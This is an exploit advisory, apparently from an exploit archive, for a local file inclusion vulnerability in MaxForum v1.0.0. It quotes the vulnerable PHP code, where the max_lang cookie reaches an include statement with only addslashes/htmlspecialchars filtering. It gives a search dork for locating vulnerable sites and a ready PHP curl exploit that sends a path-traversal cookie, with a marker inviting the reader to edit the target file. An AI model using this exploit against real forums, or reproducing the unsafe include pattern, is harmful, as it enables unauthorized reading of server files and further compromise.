MaxForum v1.0.0 Local File Inclusion Vulnerability

    +---------------------------------------+
    | MaxForum v1.0.0 Local File Inclusion  |
    +---------------------------------------+
    Author.............: ahwak2000
    Mail...............: z.u5[at]hotmail[dot]com
    Software link......: http://www.max4dev.com/
    Tested versions....: 1.0
    Dork...............: Powered by MaxForum v1.0.0
    Date...............: 15/08/2012
    ---------------------------------------------------------------
    in file /MaxForum/includes/forums/warn_popup.php
     
    line 100                        if (isset($_COOKIE['max_lang']) && (!isset($_COOKIE['max_name']))){
    line 101                        $board_lang = escape_string($_COOKIE['max_lang']);
    line 102                }
    line 103
    line 104        @include "../../language/$board_lang";
    line 105        @include "../../language/$board_lang.php";
     
     
    -------------
    in file /MaxForum/libs/php/functions.php
     
                    function escape_string($string) {
     
                            $string = addslashes($string);
                           
                            $string = htmlspecialchars($string);
                            return $string;
                    }
    ----------------------------------------------------------------
    exploit:
     
    <?
    $url="http://site.com/MaxForum/";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url."/includes/forums/warn_popup.php");
    curl_setopt($ch, CURLOPT_COOKIE, "max_lang=../gpl.txt");  // <--- edit
     $buffer = curl_exec($ch);
    ?>
     
    #end




#  0day.today [2018-04-10]  #